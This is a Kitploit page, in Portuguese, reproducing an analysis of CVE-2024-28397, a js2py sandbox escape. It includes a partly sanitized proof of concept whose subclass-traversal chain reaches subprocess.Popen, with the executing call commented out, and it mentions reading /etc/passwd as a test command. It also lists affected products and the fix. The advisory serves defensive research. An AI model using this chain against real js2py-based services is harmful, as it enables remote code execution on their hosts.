Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-28397-js2py-Sandbox-Escape — Análise detalhada de CVE-2024-28397, uma vulnerabilidade de escape de sandbox em js2py permitindo RCE via travessia de objeto Python. Inclui análise de código, PoC e recomendações de correção para pesquisa defensiva. | Kitploit
Ferramentas/GitHubGitHub/naved124/cve-2024-28397-js2py-sandbox-escape
Análise de VulnerabilidadesAnálise de CódigoExploraçãoSegurança WebPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHub
naved124/cve-2024-28397-js2py-sandbox-escape

CVE-2024-28397-js2py-Sandbox-Escape

Análise detalhada de CVE-2024-28397, uma vulnerabilidade de escape de sandbox em js2py permitindo RCE via travessia de objeto Python. Inclui análise de código, PoC e recomendações de correção para pesquisa defensiva.

Ver Repositório
2há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-28397-js2py-Sandbox-Escape

Análise da Vulnerabilidade do js2py

Introdução

js2py é um pacote Python popular que pode avaliar código JavaScript dentro do interpretador Python. É usado por vários scrapers web para analisar código JavaScript em sites.

Existe uma vulnerabilidade na implementação de uma variável global dentro do js2py, permitindo a um atacante obter uma referência a um objeto Python no ambiente js2py, permitindo assim escapar do ambiente JS e executar comandos arbitrários no host.

Normalmente, um usuário chamaria js2py.disable_pyimport() para impedir que o código JavaScript escape do ambiente js2py. Mas com esta vulnerabilidade, um atacante pode contornar essa restrição e executar qualquer comando no host de destino.

O ator da ameaça pode hospedar um site contendo um arquivo JavaScript malicioso ou enviar um script malicioso via API HTTP para a vítima analisar. Ao fazer isso, o ator pode alcançar execução remota de código no host executando comandos de shell arbitrários no alvo.


Prefácio

js2py é uma biblioteca Python comumente usada em crawlers, usada para analisar e executar código JS em um ambiente Python nativo. Crawlers geralmente usam js2py para analisar código JS obtido da web, simulando assim o ambiente do navegador.

No entanto, o js2py tem uma função extremamente perigosa para crawlers: ele suporta importar e usar pacotes Python em JS, o que significa que o js2py permite que código JS manipule várias bibliotecas Python e interaja diretamente com o ambiente Python. Precisamente por causa disso, podemos usar um método semelhante ao Jinja SSTI e, no ambiente js2py, usar um objeto Python para encontrar a classe subprocess.Popen e alcançar RCE.

Além disso, como o js2py é um pacote da era do Python2, amplamente utilizado e há muito tempo sem manutenção, deve ser relativamente fácil de analisar.


Análise de Código

Código JS para Código Python

Após definir pontos de interrupção, pode-se descobrir que o local onde o código JS é realmente analisado é a função Eval de host/jseval.py. Ao definir pontos de interrupção nela, você pode ver o código Python convertido pelo js2py.

Por exemplo, este trecho de código JS:

root@kitploit:~
let a = 114
console.log(a)

No final, será analisado neste trecho de código Python:

root@kitploit:~
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))

Pode-se ver que as variáveis na camada JS são todas armazenadas na variável Python var. Todos os valores da camada JS são armazenados de forma limpa como a classe PyJs (aqui Js é na verdade uma função, explicado mais adiante). As funções também são chamadas por meio de callprop. Em circunstâncias normais, o código JS não pode tocar em objetos Python.

Ao examinar o código, percebeu-se que o autor realmente gostava de usar concatenação de strings para construir o código Python final, então surgiu a ideia de que o código JS poderia ser construído para gerar código Python ilegal, dessa forma construindo código Python arbitrário e executando-o. Mas considerando que esse caminho é muito mais difícil do que o caminho posterior, ele não foi explorado mais a fundo.


Dados Python para Dados JS

Para obter um objeto Python e implementar RCE, a primeira coisa a ver, obviamente, é como objetos Python são convertidos em objetos PyJs.

Primeiro, localize a implementação da função Js, em base.py. O papel da função Js é converter o valor Python recebido no valor PyJs correspondente, permitindo assim que o código JS manipule esses valores.

root@kitploit:~
def Js(val, Clamped=False):
    '''Converts Py type to PyJs type'''
    if isinstance(val, PyJs):
        return val
    elif val is None:
        return undefined
    elif isinstance(val, basestring):
        return PyJsString(val, StringPrototype)
    elif isinstance(val, bool):
        return true if val else false
    elif isinstance(val, float) or isinstance(val, int) or isinstance(
            val, long) or (NUMPY_AVAILABLE and isinstance(
                val,
                (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
                 numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
        # This is supposed to speed things up. may not be the case
        if val in NUM_BANK:
            return NUM_BANK[val]
        return PyJsNumber(float(val), NumberPrototype)
    ... # several lines omitted here
    else:  # try to convert to js object
        return py_wrap(val)

Pode-se ver que as estruturas de dados básicas do Python, como bool, float, list, etc., serão convertidas em classes PyJs dedicadas, enquanto outros tipos de dados serão tratados por py_wrap e, por fim, se tornarão a classe PyObjectWrapper.

Classes PyJs comuns representam números, booleanos e outros dados comuns, enquanto PyObjectWrapper representa dados especiais, como módulos Python. Portanto, desde que obtenhamos um dado do tipo PyObjectWrapper, podemos usar um método de acesso a atributos semelhante ao Jinja SSTI para alcançar RCE.

De modo geral, dados do tipo PyObjectWrapper só podem ser obtidos quando a função de importação de pacotes Python está habilitada, mas como o js2py está há muito tempo sem manutenção e não considerou cuidadosamente as diferenças entre Python2 e Python3, uma vulnerabilidade de escape de sandbox acabou ocorrendo.

Nota lateral: Ao olhar a implementação de PyJs, vi que o autor escreveu estas linhas de código:

root@kitploit:~
if six.PY3:
    PyJs.__hash__ = PyJs._fuck_python3
    PyJs.__truediv__ = PyJs.__div__

Pode-se dizer que o autor detesta o Python3.


Implementação da Função JS

Embora o js2py forneça a função de converter código JS em código Python, ele também fornece vários objetos embutidos, como console e Object, para suportar a execução normal do código JS.

Nosso objetivo final é contornar a restrição do pyimport e obter um objeto PyObjectWrapper. Pela análise acima, pode-se ver que, para obter um objeto PyObjectWrapper do nada, só podemos partir da implementação dos objetos embutidos e extrair um objeto PyObjectWrapper deles.

Comece examinando o código de implementação dos objetos embutidos. Em constructors/jsobject.py, você pode ver a implementação de várias funções no objeto Object, incluindo funções comumente usadas como Object.keys.

Então, você pode ver esta função:

root@kitploit:~
def getOwnPropertyNames(obj):
    if not obj.is_object():
        raise MakeError(
            'TypeError',
            'Object.getOwnPropertyDescriptor called on non-object')
    return obj.own.keys()

O js2py usa dict para representar objetos em JS. O keys() aqui chama o keys() do dicionário Python. Qualquer pessoa que estudou Python deve saber que no Python2 essa função retorna uma lista, enquanto no Python3 ela retorna uma visão dict_keys. De acordo com a implementação acima da função Js, esse dict_keys será convertido em PyObjectWrapper e, assim, podemos alcançar RCE.


Alcançando RCE

Primeiro, verifique se getOwnPropertyNames pode obter um PyObjectWrapper:

root@kitploit:~
import js2py

code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""

js2py.eval_js(code)

Ele imprimiu PyObjectWrapper(dict_keys([])), claro que pode.

Então, com base neste objeto, obtemos a função __getattribute__ e podemos facilmente alcançar RCE. Ao escrever o PoC, foi pensado de forma complicada demais; na verdade, apenas usar __class__.__base__ é suficiente para obter a função __getattribute__.

Então, com base na função __getattribute__, obtenha o objeto object e escreva uma função recursiva para encontrar qualquer classe de qualquer módulo. Aqui, para RCE, o que se procura é subprocess.Popen.

NOTA (saneada): O trecho de código abaixo é mostrado apenas para fins educacionais e de pesquisa. Ele foi saneado para evitar facilitar o uso indevido: comandos de shell sensíveis e execução direta do sistema foram substituídos por espaços reservados. Não execute isso contra sistemas de produção ou não corrigidos.

root@kitploit:~
import js2py

code = """
let cmd = "DUMMY_CMD"  # replace with safe test command in a lab (e.g., 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}
// The next call would invoke subprocess.Popen with arguments — in the sanitized version
// we replace the actual system invocation with a placeholder for safety reasons.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""

# Note: js2py.eval_js(code) intentionally omitted to avoid running exploit code in this repository.

Detalhes da vulnerabilidade

  • Número da versão do componente afetado:

    • js2py mais recente (<=0.74) que executa sob Python 3
  • Produtos afetados:

    • pyload/pyload
    • VeNoMouS/cloudscraper (usa js2py como um 'interpretador js' opcional)
    • dipu-bd/lightnovel-crawler
  • Passos para reproduzir (somente laboratório):

    • Instale Python3 < 3.12 (o js2py atualmente não suporta Python 3.12).
    • Execute pip install js2py para instalar o js2py e execute um script PoC saneado em um ambiente de laboratório isolado. O PoC original tentava executar comandos como head -n 1 /etc/passwd e calculadoras; neste repositório, eles são substituídos por espaços reservados seguros.
    • Se a vulnerabilidade existir, o pesquisador observará que um PyObjectWrapper pode ser obtido de Object.getOwnPropertyNames({}), permitindo a travessia de atributos para alcançar as partes internas do Python.

Correção

Como o problema está na função getOwnPropertyNames, converter o dict_keys que ela retorna em uma lista normal corrige o problema. Uma correção sugerida é envolver obj.own.keys() com list(...) antes de retornar.


Aviso Legal

Este repositório é apenas para fins educacionais e de pesquisa defensiva. Não use nenhuma das informações ou códigos aqui para atacar sistemas sem autorização explícita. Os trechos de PoC foram saneados para evitar facilitar o uso indevido.


Compilado e traduzido para uso em pesquisa e defesa.

Baixar ferramenta